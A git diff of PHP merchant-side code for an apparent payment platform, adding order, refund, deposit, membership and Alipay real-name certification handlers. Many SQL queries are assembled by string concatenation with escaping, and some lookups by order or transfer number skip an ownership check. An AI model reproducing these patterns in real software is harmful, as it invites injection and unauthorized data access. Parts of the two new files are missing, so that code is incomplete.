= $result['Data']['certifyUrl']; + $sqs=$DB->exec("update `pre_user` set `cert`=0,`certtype`=:certtype,`certmethod`=:certmethod,`certno`=:certno,`certname`=:certname,`certtoken`=:certtoken where `uid`=:uid", [':certtype'=>$certtype, ':certmethod'=>0, ':certno'=>$certno, ':certname'=>$certname, ':certtoken'=>$result['Data']['certifyId'], ':uid'=>$uid]); + if($sqs!==false){ + if ($certtype==1) { + $DB->exec("update `pre_user` set `certcorpno`=:certcorpno,`certcorpname`=:certcorpname where `uid`=:uid", [':certcorpno'=>$certcorpno, ':certcorpname'=>$certcorpname, ':uid'=>$uid]); + } + exit(json_encode(['code'=>1, 'msg'=>'ok', 'certify_id'=>$result['Data']['certifyId']])); + }else{ + exit('{"code":-1,"msg":"保存信息失败'.$DB->error().'"}'); + } + }else{ + exit('{"code":-1,"msg":"接口返回异常['.$result['Code'].']'.$result['Message'].'"}'); + } + }else{ + exit('{"code":-1,"msg":"网站未开启实名认证功能"}'); + } +break; +case 'cert_geturl': + if(!$_POST['csrf_token'] || $_POST['csrf_token']!=$_SESSION['csrf_token'])exit('{"code":-1,"msg":"CSRF TOKEN ERROR"}'); + if(isset($_SESSION[$uid.'_certify'])){ + if($conf['cert_open'] == 1){ + $url = $siteurl.'user/alipaycert.php?uid='.$uid.'&certtoken='.$userrow['certtoken']; + exit(json_encode(['code'=>1, 'msg'=>'ok', 'url'=>$url])); + }elseif($conf['cert_open'] == 3){ + $channel = \lib\Channel::get($conf['cert_channel']); + if(!$channel)exit('{"code":-1,"msg":"当前实名认证通道信息不存在"}'); + $alipay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + $certdoc = new \Alipay\AlipayCertdocService($alipay_config); + $redirect_uri = $siteurl.'user/alipaycertok.php'; + $state = authcode($uid, 'ENCODE', SYS_KEY); + $url = $certdoc->oauth($redirect_uri, $userrow['certtoken'], $state, true); + exit(json_encode(['code'=>1, 'msg'=>'ok', 'url'=>$url])); + }else{ + $url = $_SESSION['qrcode_url']; + if(!$url)exit('{"code":-1,"msg":"二维码图片不存在"}'); + exit(json_encode(['code'=>1, 'msg'=>'ok', 'url'=>$url])); + } + }else{ + exit('{"code":-1,"msg":"Access Denied"}'); + } +break; +case 'cert_query': + if(!$_POST['csrf_token'] || $_POST['csrf_token']!=$_SESSION['csrf_token'])exit('{"code":-1,"msg":"CSRF TOKEN ERROR"}'); + $cert = $DB->getColumn("select cert from pre_user where uid=$uid"); + if($cert == 1){ + unset($_SESSION[$uid.'_certify']); + unset($_SESSION['qrcode_url']); + exit('{"code":1,"msg":"succ","passed":true}'); + }else{ + exit('{"code":1,"msg":"succ","passed":false}'); + } +break; +case 'order': //订单详情 + $trade_no=$_GET['trade_no']; + $row=$DB->getRow("select A.*,B.showname typename from pre_order A left join pre_type B on A.type=B.id where trade_no=:trade_no and uid=:uid limit 1", [':trade_no'=>$trade_no, ':uid'=>$uid]); + if(!$row) + exit('{"code":-1,"msg":"当前订单不存在!"}'); + $row['subchannelname'] = $row['subchannel'] > 0 ? $DB->findColumn('subchannel', 'name', ['id'=>$row['subchannel']]) : ''; + if($row['status']==2){ + $row['refundtime'] = $DB->findColumn('refundorder', 'addtime', ['trade_no'=>$trade_no], 'refund_no DESC'); + } + $result=array("code"=>0,"msg"=>"succ","data"=>$row); + exit(json_encode($result)); +break; +case 'subOrders': + $trade_no=trim($_GET['trade_no']); + $list = \lib\Payment::getSubOrders($trade_no); + exit(json_encode(['code'=>0, 'data'=>$list, 'settle'=>$DB->findColumn('order', 'settle', ['trade_no'=>$trade_no])])); +break; +case 'notify': + $trade_no=$_POST['trade_no']; + $row=$DB->getRow("select * from pre_order where trade_no=:trade_no AND uid=:uid limit 1", [':trade_no'=>$trade_no, ':uid'=>$uid]); + if(!$row) + exit('{"code":-1,"msg":"当前订单不存在!"}'); + if($row['status']==0)exit('{"code":-1,"msg":"订单尚未支付,无法重新通知!"}'); + $url=creat_callback($row); + if($row['notify']>0) + $DB->exec("update pre_order set notify=0 where trade_no=:trade_no", [':trade_no'=>$trade_no]); + exit('{"code":0,"url":"'.($_POST['isreturn']==1?$url['return']:$url['notify']).'"}'); +break; +case 'settle_result': + $id=intval($_GET['id']); + $row=$DB->getRow("select result from pre_settle where id='$id' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前结算记录不存在!"}'); + $result = ['code'=>0,'msg'=>$row['result']?$row['result']:'未知']; + exit(json_encode($result)); +break; +case 'recharge': + $money=trim(daddslashes($_POST['money'])); + $typeid=intval($_POST['typeid']); + $name = '充值余额 UID:'.$uid; + if(!$_POST['csrf_token'] || $_POST['csrf_token']!=$_SESSION['csrf_token'])exit('{"code":-1,"msg":"CSRF TOKEN ERROR"}'); + if($userrow['pay']==0)exit('{"code":-1,"msg":"当前商户已被封禁"}'); + //if($conf['cert_force']==1 && $userrow['cert']==0)exit('{"code":-1,"msg":"当前商户未完成实名认证,无法收款"}'); + if($money<=0 || !is_numeric($money) || !preg_match('/^[0-9.]+$/', $money))exit('{"code":-1,"msg":"金额不合法"}'); + if($conf['pay_maxmoney']>0 && $money>$conf['pay_maxmoney'])exit('{"code":-1,"msg":"最大支付金额是'.$conf['pay_maxmoney'].'元"}'); + if($conf['pay_minmoney']>0 && $money<$conf['pay_minmoney'])exit('{"code":-1,"msg":"最小支付金额是'.$conf['pay_minmoney'].'元"}'); + $trade_no=date("YmdHis").rand(11111,99999); + $return_url=$siteurl.'user/recharge.php?ok=1&trade_no='.$trade_no; + $domain=getdomain($return_url); + $param = json_encode(['uid'=>$uid]); + if(!$DB->exec("INSERT INTO `pre_order` (`trade_no`,`out_trade_no`,`uid`,`tid`,`addtime`,`name`,`money`,`notify_url`,`return_url`,`domain`,`ip`,`status`,`param`) VALUES (:trade_no, :out_trade_no, :uid, 2, NOW(), :name, :money, :notify_url, :return_url, :domain, :clientip, 0, :param)", [':trade_no'=>$trade_no, ':out_trade_no'=>$trade_no, ':uid'=>$conf['reg_pay_uid'], ':name'=>$name, ':money'=>$money, ':notify_url'=>$return_url, ':return_url'=>$return_url, ':domain'=>$domain, ':clientip'=>$clientip, ':param'=>$param]))exit('{"code":-1,"msg":"创建订单失败,请返回重试!"}'); + unset($_SESSION['csrf_token']); + $result = ['code'=>0, 'msg'=>'succ', 'url'=>'../submit2.php?typeid='.$typeid.'&trade_no='.$trade_no]; + exit(json_encode($result)); +break; +case 'groupinfo': + $gid=intval($_POST['gid']); + $row=$DB->getRow("select * from pre_group where gid='$gid' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前会员等级不存在!"}'); + if($row['isbuy']==0) + exit('{"code":-1,"msg":"当前会员等级无法购买!"}'); + if($gid==$userrow['gid'] && $userrow['endtime']==null)exit('{"code":-1,"msg":"你已购买此会员等级,请勿重复购买"}'); + $result = ['code'=>0,'msg'=>'succ','gid'=>$gid,'name'=>$row['name'],'price'=>$row['price'],'expire'=>$row['expire']]; + exit(json_encode($result)); +break; +case 'groupbuy': + $gid=intval($_POST['gid']); + $row=$DB->getRow("select * from pre_group where gid='$gid' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前会员等级不存在!"}'); + if($row['isbuy']==0) + exit('{"code":-1,"msg":"当前会员等级无法购买!"}'); + if($gid==$userrow['gid'] && $userrow['endtime']==null)exit('{"code":-1,"msg":"你已购买此会员等级,请勿重复购买"}'); + if(!$_POST['csrf_token'] || $_POST['csrf_token']!=$_SESSION['csrf_token'])exit('{"code":-1,"msg":"CSRF TOKEN ERROR"}'); + $money = $row['price']; + $num=intval($_POST['num']); + $typeid=intval($_POST['typeid']); + if($num<=0 || $num>300)exit('{"code":-1,"msg":"数量不正确"}'); + $money = round($money * $num, 2); + if($row['expire']>0){ + $expirenum = $num*$row['expire']; + if($gid==$userrow['gid'])$endtime = date("Y-m-d",strtotime("+ {$expirenum} month", strtotime($userrow['endtime']))); + else $endtime = date("Y-m-d",strtotime("+ {$expirenum} month")); + }else{ + $endtime = null; + } + if($typeid==0){ + if($money>$userrow['money'])exit('{"code":-1,"msg":"余额不足,请选择其他方式支付"}'); + changeUserMoney($uid, $money, false, '购买会员'); + changeUserGroup($uid, $gid, $endtime); + unset($_SESSION['csrf_token']); + $result = ['code'=>1, 'msg'=>'购买会员成功!']; + exit(json_encode($result)); + }else{ + $name = '购买会员-'.$row['name']; + $trade_no=date("YmdHis").rand(11111,99999); + $return_url=$siteurl.'user/groupbuy.php?ok=1&trade_no='.$trade_no; + $domain=getdomain($return_url); + $param = json_encode(['uid'=>$uid, 'gid'=>$gid, 'endtime'=>$endtime]); + if(!$DB->exec("INSERT INTO `pre_order` (`trade_no`,`out_trade_no`,`uid`,`tid`,`addtime`,`name`,`money`,`notify_url`,`return_url`,`domain`,`ip`,`status`,`param`) VALUES (:trade_no, :out_trade_no, :uid, 4, NOW(), :name, :money, :notify_url, :return_url, :domain, :clientip, 0, :param)", [':trade_no'=>$trade_no, ':out_trade_no'=>$trade_no, ':uid'=>$conf['reg_pay_uid'], ':name'=>$name, ':money'=>$money, ':notify_url'=>$return_url, ':return_url'=>$return_url, ':domain'=>$domain, ':clientip'=>$clientip, ':param'=>$param]))exit('{"code":-1,"msg":"创建订单失败,请返回重试!"}'); + unset($_SESSION['csrf_token']); + $result = ['code'=>0, 'msg'=>'succ', 'url'=>'../submit2.php?typeid='.$typeid.'&trade_no='.$trade_no]; + exit(json_encode($result)); + } +break; +case 'addDomain': + if(!$conf['pay_domain_open']) exit('{"code":-1,"msg":"未开启授权支付域名添加"}'); + $domain = trim(daddslashes($_POST['domain'])); + if(empty($domain))exit('{"code":-1,"msg":"域名不能为空"}'); + if(!checkDomain($domain))exit('{"code":-1,"msg":"域名格式不正确"}'); + if($DB->getRow("select * from pre_domain where uid=:uid and domain=:domain limit 1", [':uid'=>$uid, ':domain'=>$domain])) + exit('{"code":-1,"msg":"该域名已存在,请勿重复添加"}'); + if(!$DB->exec("INSERT INTO `pre_domain` (`uid`,`domain`,`status`,`addtime`) VALUES (:uid, :domain, 0, NOW())", [':uid'=>$uid, ':domain'=>$domain]))exit('{"code":-1,"msg":"添加失败'.$DB->error().'"}'); + \lib\MsgNotice::send('domain', 0, ['uid'=>$uid, 'domain'=>$domain]); + exit(json_encode(['code'=>0, 'msg'=>'添加域名成功!'])); +break; +case 'delDomain': + if(!$conf['pay_domain_open']) exit('{"code":-1,"msg":"未开启授权支付域名添加"}'); + $id = intval($_POST['id']); + if(!$DB->exec("DELETE FROM pre_domain WHERE id='$id' and uid='$uid'"))exit('{"code":-1,"msg":"删除失败'.$DB->error().'"}'); + exit(json_encode(['code'=>0, 'msg'=>'succ'])); +break; + +case 'orderList': + $paytype = []; + $paytypes = []; + $rs = $DB->getAll("SELECT * FROM pre_type WHERE status=1"); + foreach($rs as $row){ + $paytype[$row['id']] = $row['showname']; + $paytypes[$row['id']] = $row['name']; + } + unset($rs); + + $sql=" A.uid=$uid"; + if(isset($_POST['paytype']) && !empty($_POST['paytype'])) { + $type = intval($_POST['paytype']); + $sql.=" AND A.`type`='$type'"; + }elseif(isset($_POST['channel']) && !empty($_POST['channel'])) { + $channel = intval($_POST['channel']); + $sql.=" AND A.`channel`='$channel'"; + }elseif(isset($_POST['subchannel']) && !empty($_POST['subchannel'])) { + $subchannel = trim($_POST['subchannel']); + $subchannel = explode('|', $subchannel); + $subchannel = array_map('intval', $subchannel); + $sql.=" AND A.`subchannel` IN (".implode(",", $subchannel).")"; + } + if(isset($_POST['dstatus']) && $_POST['dstatus']>-1) { + $dstatus = intval($_POST['dstatus']); + $sql.=" AND A.status='{$dstatus}'"; + } + if(!empty($_POST['starttime']) || !empty($_POST['endtime'])){ + if(!empty($_POST['starttime'])){ + $starttime = daddslashes($_POST['starttime']); + $sql.=" AND A.addtime>='{$starttime} 00:00:00'"; + } + if(!empty($_POST['endtime'])){ + $endtime = daddslashes($_POST['endtime']); + $sql.=" AND A.addtime<='{$endtime} 23:59:59'"; + } + } + if(isset($_POST['kw']) && !empty($_POST['kw'])) { + $kw=daddslashes($_POST['kw']); + if($_POST['type']==1){ + $sql.=" AND A.`trade_no`='{$kw}'"; + }elseif($_POST['type']==2){ + $sql.=" AND A.`out_trade_no`='{$kw}'"; + }elseif($_POST['type']==3){ + $sql.=" AND A.`name` like '%{$kw}%'"; + }elseif($_POST['type']==4){ + $sql.=" AND A.`money`='{$kw}'"; + }elseif($_POST['type']==5){ + $sql.=" AND A.`realmoney`='{$kw}'"; + }elseif($_POST['type']==6){ + $sql.=" AND A.`domain`='{$kw}'"; + }elseif($_POST['type']==7){ + $sql.=" AND A.`ip`='{$kw}'"; + }elseif($_POST['type']==8){ + $sql.=" AND A.`buyer`='{$kw}'"; + }elseif($_POST['type']==9){ + $sql.=" AND A.`api_trade_no`='{$kw}'"; + }elseif($_POST['type']==10){ + $sql.=" AND A.`bill_trade_no`='{$kw}'"; + } + } + $offset = intval($_POST['offset']); + $limit = intval($_POST['limit']); + $total = $DB->getColumn("SELECT count(*) from pre_order A WHERE{$sql}"); + $list = $DB->getAll("SELECT A.*,B.plugin FROM pre_order A LEFT JOIN pre_channel B ON A.channel=B.id WHERE{$sql} order by trade_no desc limit $offset,$limit"); + $list2 = []; + foreach($list as $row){ + $row['typename'] = $paytypes[$row['type']]; + $row['typeshowname'] = $paytype[$row['type']]; + $list2[] = $row; + } + + exit(json_encode(['total'=>$total, 'rows'=>$list2])); +break; +case 'statistics': + $sql=" A.uid=$uid"; + if(isset($_POST['paytype']) && !empty($_POST['paytype'])) { + $type = intval($_POST['paytype']); + $sql.=" AND A.`type`='$type'"; + }elseif(isset($_POST['channel']) && !empty($_POST['channel'])) { + $channel = intval($_POST['channel']); + $sql.=" AND A.`channel`='$channel'"; + }elseif(isset($_POST['subchannel']) && !empty($_POST['subchannel'])) { + $subchannel = trim($_POST['subchannel']); + $subchannel = explode('|', $subchannel); + $subchannel = array_map('intval', $subchannel); + $sql.=" AND A.`subchannel` IN (".implode(",", $subchannel).")"; + } + if(isset($_POST['dstatus']) && $_POST['dstatus']>-1) { + $dstatus = intval($_POST['dstatus']); + $sql.=" AND A.status='{$dstatus}'"; + } + if(!empty($_POST['starttime']) || !empty($_POST['endtime'])){ + if(!empty($_POST['starttime'])){ + $starttime = daddslashes($_POST['starttime']); + $sql.=" AND A.addtime>='{$starttime} 00:00:00'"; + } + if(!empty($_POST['endtime'])){ + $endtime = daddslashes($_POST['endtime']); + $sql.=" AND A.addtime<='{$endtime} 23:59:59'"; + } + } + if(isset($_POST['kw']) && !empty($_POST['kw'])) { + $kw=daddslashes($_POST['kw']); + if($_POST['type']==1){ + $sql.=" AND A.`trade_no`='{$kw}'"; + }elseif($_POST['type']==2){ + $sql.=" AND A.`out_trade_no`='{$kw}'"; + }elseif($_POST['type']==3){ + $sql.=" AND A.`name` like '%{$kw}%'"; + }elseif($_POST['type']==4){ + $sql.=" AND A.`money`='{$kw}'"; + }elseif($_POST['type']==5){ + $sql.=" AND A.`realmoney`='{$kw}'"; + }elseif($_POST['type']==6){ + $sql.=" AND A.`domain`='{$kw}'"; + }elseif($_POST['type']==7){ + $sql.=" AND A.`ip`='{$kw}'"; + }elseif($_POST['type']==8){ + $sql.=" AND A.`buyer`='{$kw}'"; + }elseif($_POST['type']==9){ + $sql.=" AND A.`api_trade_no`='{$kw}'"; + }elseif($_POST['type']==10){ + $sql.=" AND A.`bill_trade_no`='{$kw}'"; + } + } + // 统计数据 + $resultMoneyData = $DB->getRow("SELECT + SUM(money) AS totalMoney, + SUM(CASE WHEN A.status = 1 THEN money ELSE 0 END) AS successMoney, + SUM(CASE WHEN A.status = 0 THEN money ELSE 0 END) AS unpaidMoney, + SUM(CASE WHEN A.status = 2 THEN refundmoney ELSE 0 END) AS refundMoney + FROM pre_order A LEFT JOIN pre_channel B ON A.channel=B.id WHERE {$sql} order by trade_no desc"); + + $resultCount = $DB->getRow("SELECT + COUNT(*) AS totalCount, + SUM(CASE WHEN A.status = 1 THEN 1 ELSE 0 END) AS successCount, + SUM(CASE WHEN A.status = 0 THEN 1 ELSE 0 END) AS unpaidCount, + SUM(CASE WHEN A.status = 2 THEN 1 ELSE 0 END) AS refundCount + FROM pre_order A LEFT JOIN pre_channel B ON A.channel=B.id WHERE {$sql} order by trade_no desc"); + + // 获取平台总收入利润 + $platformProfit = $DB->getColumn("SELECT SUM(A.profitmoney) FROM pre_order A LEFT JOIN pre_channel B ON A.channel=B.id WHERE {$sql} AND status = 1 order by trade_no desc"); + + $result = [ + 'totalMoney' => number_format($resultMoneyData['totalMoney'], 2, '.', '') ?? 0.00, + 'successMoney' => number_format($resultMoneyData['successMoney'], 2, '.', '') ?? 0.00, + 'unpaidMoney' => number_format($resultMoneyData['unpaidMoney'], 2, '.', '') ?? 0.00, + 'refundMoney' => number_format($resultMoneyData['refundMoney'], 2, '.', '') ?? 0.00, + 'totalCount' => $resultCount['totalCount'] ?? '0', + 'successCount' => $resultCount['successCount'] ?? '0', + 'unpaidCount' => $resultCount['unpaidCount'] ?? '0', + 'refundCount' => $resultCount['refundCount'] ?? '0', + 'platformProfit' => number_format($platformProfit, 2, '.', '') ?? 0.00 + ]; + $result['successRate'] = $result['totalCount'] > 0 ? round(($result['totalCount']-$result['unpaidCount']) / $result['totalCount'] * 100, 2) : 0; + exit(json_encode(['code'=>0, 'data'=>$result])); +break; + +case 'recordList': + $sql=" uid=$uid"; + if(isset($_POST['kw']) && !empty($_POST['kw'])) { + $kw=daddslashes($_POST['kw']); + if($_POST['type']==1){ + $sql.=" AND `type`='{$kw}'"; + }elseif($_POST['type']==2){ + $sql.=" AND `money`='{$kw}'"; + }elseif($_POST['type']==3){ + $sql.=" AND `trade_no`='{$kw}'"; + } + } + $offset = intval($_POST['offset']); + $limit = intval($_POST['limit']); + $total = $DB->getColumn("SELECT count(*) from pre_record WHERE{$sql}"); + $list = $DB->getAll("SELECT * FROM pre_record WHERE{$sql} order by id desc limit $offset,$limit"); + + exit(json_encode(['total'=>$total, 'rows'=>$list])); +break; +case 'settleList': + $sql=" uid=$uid"; + if(isset($_POST['dstatus']) && $_POST['dstatus']>-1) { + $dstatus = intval($_POST['dstatus']); + $sql.=" AND status='{$dstatus}'"; + } + $offset = intval($_POST['offset']); + $limit = intval($_POST['limit']); + $total = $DB->getColumn("SELECT count(*) from pre_settle WHERE{$sql}"); + $list = $DB->getAll("SELECT * FROM pre_settle WHERE{$sql} order by id desc limit $offset,$limit"); + $list2 = []; + foreach($list as $row){ + if($row['type'] == 2 && $row['status'] == 1 && !empty($row['transfer_ext']) && time() - strtotime($row['transfer_date']) <= 86400){ + if(substr($row['ext'], 0, 4) == 'http'){ + $row['jumpurl'] = $row['ext']; + }else{ + $row['jumpurl'] = $siteurl.'paypage/wxtrans.php?id='.$row['id'].'&type=settle'; + } + } + $list2[] = $row; + } + + exit(json_encode(['total'=>$total, 'rows'=>$list2])); +break; +case 'transferList': + $sql=" uid=$uid"; + if(isset($_POST['type']) && !empty($_POST['type'])) { + $type = intval($_POST['type']); + $sql.=" AND `type`='$type'"; + } + if(isset($_POST['dstatus']) && $_POST['dstatus']>-1) { + $dstatus = intval($_POST['dstatus']); + $sql.=" AND `status`='{$dstatus}'"; + } + if(isset($_POST['value']) && !empty($_POST['value'])) { + $value = daddslashes($_POST['value']); + $sql.=" AND (`biz_no`='{$value}' OR `account` like '%{$value}%' OR `username` like '%{$value}%')"; + } + $offset = intval($_POST['offset']); + $limit = intval($_POST['limit']); + $total = $DB->getColumn("SELECT count(*) from pre_transfer WHERE{$sql}"); + $list = $DB->getAll("SELECT * FROM pre_transfer WHERE{$sql} order by biz_no desc limit $offset,$limit"); + $list2 = []; + foreach($list as $row){ + if($row['type'] == 'wxpay' && $row['status'] == 0 && !empty($row['ext'])){ + if(substr($row['ext'], 0, 4) == 'http'){ + $row['jumpurl'] = $row['ext']; + }else{ + $row['jumpurl'] = $siteurl.'paypage/wxtrans.php?id='.$row['biz_no'].'&type=transfer'; + } + } + $list2[] = $row; + } + + exit(json_encode(['total'=>$total, 'rows'=>$list2])); +break; + +case 'transfer_result': + $biz_no=trim($_GET['biz_no']); + $row=$DB->find('transfer', 'result', ['biz_no'=>$biz_no, 'uid'=>$uid]); + if(!$row) + exit('{"code":-1,"msg":"当前付款记录不存在!"}'); + $result = ['code'=>0,'msg'=>$row['result']?$row['result']:'未知']; + exit(json_encode($result)); +break; +case 'transfer_query': + $biz_no=trim($_GET['biz_no']); + $result = \lib\Transfer::status($biz_no); + exit(json_encode($result)); +break; +case 'transfer_proof': + $biz_no=trim($_POST['biz_no']); + $result = \lib\Transfer::proof($biz_no); + exit(json_encode($result)); +break; + +case 'refund_query': //退款查询 + $trade_no=daddslashes(trim($_POST['trade_no'])); + $result = \lib\Order::refund_info($trade_no, 1, $uid); + exit(json_encode($result)); +break; +case 'refund_submit': //确认退款 + $trade_no=daddslashes(trim($_POST['trade_no'])); + $pwd=trim($_POST['pwd']); + $money = trim($_POST['money']); + if(!is_numeric($money) || !preg_match('/^[0-9.]+$/', $money))exit('{"code":-1,"msg":"金额输入错误"}'); + if(getMd5Pwd($pwd, $userrow['uid'])!=$userrow['pwd']) + exit('{"code":-1,"msg":"登录密码输入错误!"}'); + + $refund_no = date("YmdHis").rand(11111,99999); + $result = \lib\Order::refund($refund_no, $trade_no, $money, 1, $uid); + if($result['code'] == 0){ + $result['msg'] = '退款成功!退款金额¥'.$result['money']; + } + exit(json_encode($result)); +break; + +case 'inviteStat': + $lastday=date("Y-m-d",strtotime("-1 day")).' 00:00:00'; + $today=date("Y-m-d").' 00:00:00'; + + $invite_users=$DB->getColumn("SELECT count(*) FROM pre_user WHERE upid={$uid}"); + $income_today=$DB->getColumn("SELECT sum(money) FROM pre_record WHERE uid={$uid} AND type='邀请返现' AND date>='$today'"); + $income_today=round($income_today,2); + $income_lastday=$DB->getColumn("SELECT sum(money) FROM pre_record WHERE uid={$uid} AND type='邀请返现' AND date>='$lastday' AND date<'$today'"); + $income_lastday=round($income_lastday,2); + + $result=['code'=>0, 'invite_users'=>$invite_users, 'income_today'=>$income_today, 'income_lastday'=>$income_lastday]; + exit(json_encode($result)); +break; +case 'inviteList': + $sql=" upid=$uid"; + $offset = intval($_POST['offset']); + $limit = intval($_POST['limit']); + $total = $DB->getColumn("SELECT count(*) from pre_user WHERE{$sql}"); + $list = $DB->getAll("SELECT uid,upid,addtime,lasttime,status FROM pre_user WHERE{$sql} order by uid desc limit $offset,$limit"); + + exit(json_encode(['total'=>$total, 'rows'=>$list])); +break; + +case 'deposit_recharge': + $money=trim(daddslashes($_POST['money'])); + $typeid=intval($_POST['typeid']); + if($money<=0 || !is_numeric($money) || !preg_match('/^[0-9.]+$/', $money))exit('{"code":-1,"msg":"金额不合法"}'); + if(!$_POST['csrf_token'] || $_POST['csrf_token']!=$_SESSION['csrf_token'])exit('{"code":-1,"msg":"CSRF TOKEN ERROR"}'); + if($typeid==0){ + if($money>$userrow['money'])exit('{"code":-1,"msg":"余额不足,请选择其他方式支付"}'); + changeUserMoney($uid, $money, false, '充值保证金'); + $deposit = $userrow['deposit'] > 0 ? round($userrow['deposit'] + $money, 2) : $money; + $DB->exec("UPDATE pre_user SET deposit=:deposit WHERE uid=:uid", [':deposit'=>$deposit, ':uid'=>$uid]); + unset($_SESSION['csrf_token']); + $result = ['code'=>1, 'msg'=>'成功充值'.$money.'元保证金!']; + exit(json_encode($result)); + }else{ + $name = '充值保证金 UID:'.$uid; + if($userrow['pay']==0)exit('{"code":-1,"msg":"当前商户已被封禁"}'); + if($conf['pay_maxmoney']>0 && $money>$conf['pay_maxmoney'])exit('{"code":-1,"msg":"最大支付金额是'.$conf['pay_maxmoney'].'元"}'); + if($conf['pay_minmoney']>0 && $money<$conf['pay_minmoney'])exit('{"code":-1,"msg":"最小支付金额是'.$conf['pay_minmoney'].'元"}'); + $trade_no=date("YmdHis").rand(11111,99999); + $return_url=$siteurl.'user/deposit.php?ok=1&trade_no='.$trade_no; + $domain=getdomain($return_url); + $param = json_encode(['uid'=>$uid]); + if(!$DB->exec("INSERT INTO `pre_order` (`trade_no`,`out_trade_no`,`uid`,`tid`,`addtime`,`name`,`money`,`notify_url`,`return_url`,`domain`,`ip`,`status`,`param`) VALUES (:trade_no, :out_trade_no, :uid, 5, NOW(), :name, :money, :notify_url, :return_url, :domain, :clientip, 0, :param)", [':trade_no'=>$trade_no, ':out_trade_no'=>$trade_no, ':uid'=>$conf['reg_pay_uid'], ':name'=>$name, ':money'=>$money, ':notify_url'=>$return_url, ':return_url'=>$return_url, ':domain'=>$domain, ':clientip'=>$clientip, ':param'=>$param]))exit('{"code":-1,"msg":"创建订单失败,请返回重试!"}'); + unset($_SESSION['csrf_token']); + $result = ['code'=>0, 'msg'=>'succ', 'url'=>'../submit2.php?typeid='.$typeid.'&trade_no='.$trade_no]; + exit(json_encode($result)); + } +break; +case 'deposit_withdraw': + $money=trim(daddslashes($_POST['money'])); + if($money<=0 || !is_numeric($money) || !preg_match('/^[0-9.]+$/', $money))exit('{"code":-1,"msg":"金额不合法"}'); + if(!$_POST['csrf_token'] || $_POST['csrf_token']!=$_SESSION['csrf_token'])exit('{"code":-1,"msg":"CSRF TOKEN ERROR"}'); + if($money>$userrow['deposit'])exit('{"code":-1,"msg":"保证金不足"}'); + if($conf['user_deposit_day']>0){ + $days = intval($conf['user_deposit_day']); + $orders = $DB->getColumn("SELECT count(*) FROM pre_order WHERE uid='{$uid}' AND status=1 AND addtime>DATE_SUB(NOW(),INTERVAL {$days} DAY)"); + if($orders>0)exit('{"code":-1,"msg":"你在最近'.$days.'天内有订单,无法提取保证金"}'); + $complains = $DB->getColumn("SELECT count(*) FROM pre_complain WHERE uid='{$uid}' AND addtime>DATE_SUB(NOW(),INTERVAL {$days} DAY)"); + if($complains>0)exit('{"code":-1,"msg":"你在最近'.$days.'天内有投诉记录,无法提取保证金"}'); + } + $deposit = round($userrow['deposit'] - $money, 2); + $DB->exec("UPDATE pre_user SET deposit=:deposit WHERE uid=:uid", [':deposit'=>$deposit, ':uid'=>$uid]); + changeUserMoney($uid, $money, true, '提取保证金'); + unset($_SESSION['csrf_token']); + $result = ['code'=>0, 'msg'=>'成功提取'.$money.'元保证金!']; + exit(json_encode($result)); +break; + +default: + exit('{"code":-4,"msg":"No Act"}'); +break; +} \ No newline at end of file diff --git a/user/alipaycert.php b/user/alipaycert.php new file mode 100644 index 0000000..603405d --- /dev/null +++ b/user/alipaycert.php @@ -0,0 +1,39 @@ +getRow("SELECT * FROM pre_user WHERE uid='{$uid}' limit 1"); +if(!$userrow)sysmsg('uid不存在'); +if($certify_id!=$userrow['certtoken'])sysmsg('certtoken不正确'); + +$channel = \lib\Channel::get($conf['cert_channel']); +if(!$channel)sysmsg('当前实名认证通道信息不存在'); +$alipay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); +$certify = new \Alipay\AlipayCertifyService($alipay_config); +$html = $certify->certify($certify_id); +?> + + + + + + + 正在跳转 + + + +

                                  正在跳转,请稍候...

                                  + + + \ No newline at end of file diff --git a/user/alipaycertok.php b/user/alipaycertok.php new file mode 100644 index 0000000..a7b5d58 --- /dev/null +++ b/user/alipaycertok.php @@ -0,0 +1,134 @@ +getRow("SELECT * FROM pre_user WHERE uid='{$uid}' limit 1"); + if(!$userrow)sysmsg('uid不存在'); + $certtoken = $userrow['certtoken']; + + $channel = \lib\Channel::get($conf['cert_channel']); + if(!$channel)sysmsg('当前实名认证通道信息不存在'); + $alipay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + try{ + $certify = new \Alipay\AlipayCertifyService($alipay_config); + $certifyResult = $certify->query($certtoken); + if($certifyResult['passed'] == 'T'){ + if($DB->exec("update `pre_user` set `cert`=1 where `uid`='$uid'")){ + $DB->exec("update `pre_user` set `certtime`='$date' where `uid`='$uid'"); + if($conf['cert_money']>0){ + changeUserMoney($uid, $conf['cert_money'], false, '实名认证'); + } + } + }else{ + sysmsg('
                                  实名认证未通过('.$certifyResult['fail_reason'] .')
                                  '); + } + }catch(Exception $e){ + sysmsg('支付宝接口返回异常'.$e->getMessage()); + } + +}elseif($conf['cert_open'] == 3){ //支付宝实名信息验证 + $uid = authcode(str_replace(' ', '+', $_GET['state']), 'DECODE', SYS_KEY); + if(!$uid || $uid<=0)sysmsg('state校验失败'); + $uid = intval($uid); + + $channel = \lib\Channel::get($conf['cert_channel']); + if(!$channel)sysmsg('当前支付通道信息不存在'); + $alipay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + + $certdoc = new \Alipay\AlipayCertdocService($alipay_config); + try{ + $tokenArr = $certdoc->getToken($_GET['auth_code']); + $result = $certdoc->consult($_GET['cert_verify_id'], $tokenArr['access_token']); + }catch(Exception $e){ + sysmsg('实名证件信息比对验证失败!'.$e->getMessage()); + } + + if($result['passed'] == 'T'){ + if(!empty($tokenArr['user_id'])){ + $openid = $tokenArr['user_id']; + }else{ + $openid = $tokenArr['open_id']; + } + $DB->exec("update `pre_user` set `cert`=1,`certtime`=NOW(),`alipay_uid`=:user_id where `uid`=:uid", [':user_id'=>$openid, ':uid'=>$uid]); + if($conf['cert_money']>0){ + changeUserMoney($uid, $conf['cert_money'], false, '实名认证'); + } + @header('Content-Type: text/html; charset=UTF-8'); + if($islogin2==1){ + exit(""); + } + }else{ + $msg = '实名认证失败,原因:'.$result['fail_reason'].''; + if($islogin2==1)$msg .= '

                                  返回重新认证'; + sysmsg('
                                  '.$msg.'
